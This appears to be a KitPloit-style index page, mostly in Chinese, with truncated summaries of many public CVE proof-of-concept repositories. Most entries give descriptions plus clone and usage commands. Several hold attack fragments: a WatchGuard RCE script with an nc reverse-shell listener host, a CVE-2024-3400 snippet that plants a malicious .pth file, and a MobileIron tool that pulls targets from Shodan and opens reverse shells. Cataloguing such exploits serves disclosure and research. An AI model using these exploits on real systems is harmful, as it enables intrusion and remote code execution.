CVE-2024-10914__POC

CVE-2024-10914 - 概念验证 针对 /cgi-bin/accountmgr.cgi 端点命令注入漏洞的利用程序。该漏洞允许通过未经过滤的参数在受影响系统上执行任意命令。 漏洞描述 CVE-2024-10914 是一个命令注入漏洞，影响具有 CGI Web 接口的设备。易受攻击的应用程序未正确验证 cgiuseradd 请求中的 name 参数，允许攻击者注入系统命令，这些命令将以应用程序的权限执行。 要求 Python 3.7+ requests 库 安装 克隆仓库并安装依赖： root@kitploit: git clone...

CVE-2024-3400

CVE-2024-3400 root@kitploit: import os,base64,time systempth = "/usr/lib/python3.6/site-packages/system.pth" with opensystempth,'wb' as f: f.writeb'''import...

CVE-2018-3639

CVE-2018-3639 面向 Linux 的投机性存储绕过（CVE-2018-3639）概念验证 下载 root@kitploit: git clone [email protected]:mmxsrup/CVE-2018-3639.git 构建 root@kitploit: cd CVE-2018-3639 make 运行 root@kitploit: ./specter 输出 root@kitploit: $ ./spectre idx: 0, highest:P, hitrate:21.340000 idx: 1, highest:A, hitrate:15.5200...

dirtypipe

reF: https://access.redhat.com/security/vulnerabilities/RHSB-2022-002 诊断 已开发出一个漏洞检测脚本，用于确定您的系统当前是否受到此漏洞的影响。要验证脚本的真实性，您还可以下载分离的 OpenPGP 签名。有关如何使用 GPG 签名进行验证的说明，可在客户门户网站中找到。 常见问题 问：此漏洞如何修改只读内容？ 答：当文件被访问时，它会加载到内存的“缓存”区域（页面缓存），攻击者能够更改缓存内存中的文件内容。因此，后续对文件的读取将返回被篡改的内容。 问：此漏洞是否会损坏磁盘上实际文件的内容？...

watchguard_cve-2022-26318

WatchGuard CVE-2022-26318 WatchGuard RCE POC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...

POC-CVE-2024-44258-Py

PoC 概念 CVE-2024-44258：iOS 符号链接漏洞 要求： Python 3.7+ • 许可证： MIT ⚠️ 警告： 本仓库包含一个概念验证 PoC，仅 用于教育和研究目的。它不是一个完全可用的漏洞利用工具。禁止 在未经授权的情况下将其用于任何设备。 目录 1. 概述 2. 漏洞详情 3. 范围与限制 4. PoC 特性 5. 要求 6. 实施指南 克隆仓库 关键配置 执行 理论验证 7. 真实漏洞利用：主要挑战 8. 使用条款与免责声明 9. 许可证 10. 致谢 概述 本 PoC 概念性地展示了 CVE-2024-44258 ，这是一个在 iOS...

rtx-cve-2023-45779

本仓库按原样（AS IS）提供，用于配套Meta Red Team X 漏洞披露。它不是 Meta 的官方项目，也不会 像官方项目一样获得支持。 一组脚本和制品，用于演示检测和利用搭载以 AOSP 测试密钥签名的 APEXes 的 Android 设备。有关该问题的完整信息， 请参阅我们的博客文章“缺失的签名：多个品牌如何忘记保护 Android 的 关键组件”。 文件 apex-checker/ ：一组 Bash 脚本，用于保存已知测试密钥的摘要， 并批量检查 APEX 是否使用了这些密钥的签名。 apex-forger/ ：围绕 AOSP 的 apexer 和 deapexer...

cve-2024-23897-jenkins-poc

CVE-2024-23897：Jenkins 任意文件读取（args4j @-语法） 针对 CVE-2024-23897 的完整自包含本地复现，这是一个 Jenkins CLI 中的严重（CVSS 3.1 基础分 9.8）任意文件读取漏洞。该项目启动两个 Docker 堆栈，它们仅在 Jenkins 次要版本上有所不同，对两者运行相同的概念验证，并展示漏洞在未修补的控制器上触发，而在已修补的控制器上静默。 一切都由一个 Python 程序 poc.py 驱动。测试工具仅编排环境（Docker Compose、官方的 jenkins-cli.jar 客户端，并逐字捕获输出）。漏洞本身存在于...

cve-2023-32784

CVE-2023-32784 KeePass 2.X 2.54 版本存在一个漏洞，可能从已解锁的 KeePass 数据库的内存转储中检索出主密码。该漏洞被分配为 CVE-2023-32784 该程序旨在从正在运行的 KeePass 进程的内存转储中检索主密码。它会按位置输出潜在的字符，在一行中输出可能的密码短语，以及一个 JohnTheRipper 掩码。 安装 已安装 Go 的情况下 root@kitploit: $ go install github.com/mister-turtle/cve-2023-32784@latest 预构建二进制文件 前往 Releases 页面...

CVE-2023-38035-MobileIron-RCE

MobileIron CVE-2023-38035 漏洞利用 README.md 描述 该 bash 脚本自动扫描易受 CVE-2023-38035 漏洞影响的 MobileIron 系统。脚本执行多项检查，包括检查所需程序、从 Shodan 下载潜在目标、扫描这些目标，最后尝试在易受攻击的系统上启动 shell。 功能 自动 Shodan 查询，查找易受攻击的 MobileIron 系统 提取 IP 地址以供扫描 自动评估目标漏洞 提供使用不同方法（如 ncat 或 multireverse.sh）执行反向 shell 的选项 检查缺失的依赖项并推荐安装 漂亮横幅，让工具看起来很酷 😎...

react2shell

React2Shell CVE-2025-55182 Next.js: CVE-2025-66478 React 服务器组件（Flight 协议）中的未认证 RCE - PoC 漏洞利用 描述 React 服务器组件（Flight 协议）在反序列化攻击者控制的 multipart/form-data 时，未对原型链访问进行校验。仅需一个携带 Next-Action 头的未认证 POST 请求，即可通过精心构造的引用链（$1:proto:then + $1:constructor:constructor）触达 Function 构造函数，从而在服务器上实现远程代码执行。 影响...

CVE-2022-46169

CVE-2022-46169 安装 root@kitploit: git clone https://github.com/miko550/CVE-2022-46169.git cd CVE-2022-46169 用法 root@kitploit: usage: CVE-2022-46169.py -h -t TARGET -l LIST options: -h, --help show this help message and exit -t TARGET, --target TARGET The URL of the target, eg: http://127.0.0.1 -l...

CVE-2022-27925

CVE-2022-27925 设置 root@kitploit: git clone https://github.com/miko550/CVE-2022-27925.git cd CVE-2022-27925 使用 root@kitploit: 用法：CVE-2022-2925.py -h -t TARGET -l LIST 选项： -h, --help 显示此帮助信息并退出 -t TARGET, --target TARGET 目标的URL，例如：http://127.0.0.1 -l LIST, --list LIST 以换行符分隔的目标URL列表...

CVE-2016-5734-docker

CVE-2016-5734-docker PhpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞（CVE-2016-5734） 搭建 root@kitploit: git clone https://github.com/miko550/CVE-2016-5734-docker.git cd CVE-2016-5734-docker docker compose up hhtp://localhost:8083 利用 root@kitploit: python3 cve-2016-5734.py -u root --pwd="root" http://localhost:8083...

CVE-2022-0482_exploit

CVE-2022-0482 漏洞利用 简介 本文档详细分析了 CVE-2022-0482，这是 Easy!Appointments 预约管理软件中存在的一个严重安全漏洞。该漏洞属于 CWE-863 下的授权不正确，允许未经授权的人员在无需适当认证的情况下访问个人身份信息，对数据的机密性和完整性构成重大风险。 作者 Mija Pilkaite 漏洞概述 CVE-2022-0482 影响 Easy!Appointments 1.4.3 之前的版本。该漏洞由 Francesco Carlucci 于 2022 年 1 月 30...

CVE-2023-32315

CVE-2023-32315 Openfire 控制台身份验证绕过漏洞（含 RCE 插件） 设置 root@kitploit: git clone https://github.com/miko550/CVE-2023-32315.git cd CVE-2023-32315 pip3 install -r requirements.txt 使用方法 root@kitploit: python3 CVE-2023-32315.py -t http://127.0.0.1:9090 python3 CVE-2023-32315.py -l lists.txt 步骤 1. 运行漏洞利用程序 2...

cve-2024-44308

cve-2024-44308 Michael Goppert, Michael Jennings, and John Jennings 安全 WebKit 中的这个漏洞在概念验证发布之前很久就已经被修补了。 因此，它对真实用户没有任何危险：整个目的是记录这类漏洞利用，以便我们知道如何防御它们。 文档 此仓库包含一份记录我们发现的详细报告，以及我们关于此主题的演讲文稿。 请在这些文件位于 doc/ 子目录中。 构建 此目录应克隆到包含 WebKit 的目录中，然后即可使用。 即： root@kitploit: git clone...

CVE-2024-3094-info

CVE-2024-3094 信息 https://github.com/lockness-Ko/xz-vulnerable-honeypot https://tukaani.org/xz-backdoor/ - Lasse Collin 回应 https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27...

CVE-2024-39929

Exim CVE-2024-39929 漏洞利用 PoC 本仓库包含一个概念验证（PoC）脚本，用于利用 Exim 漏洞 CVE-2024-39929。该漏洞影响 4.98 之前的 Exim 版本，允许攻击者绕过文件扩展名阻止机制，从而可能将可执行附件投递到用户的邮箱中。 描述 本仓库中的 PoC 脚本从外部文件读取 SMTP 服务器列表，并发送一封带有精心构造附件的电子邮件，以利用 CVE-2024-39929。脚本会动态设置邮件主题，以指示邮件通过哪台服务器发送。 使用方法 先决条件 Python 3.x smtplib 和 email 模块（Python 标准库自带） 安装 1...

CVE-2025-29927

CVE-2025-29927 - Next.js 中间件授权绕过 PoC 这是一个基于 夺旗（CTF） 风格的漏洞概念验证，适用于 Next.js 中间件授权绕过 漏洞（CVE-2025-29927 ）。目标是通过绕过认证中间件，从 /protected 路由获取旗标。 漏洞概要 CVE : CVE-2025-29927 类型 : 授权绕过 组件 : Next.js 中间件 影响 : 未授权访问受保护的路由 PoC 目标路由 : /protected 预期行为 : 未授权用户被重定向到 / 漏洞行为 : 使用精心构造的请求可以绕过重定向，直接访问受保护内容 PoC 环境搭建 1. 克隆仓...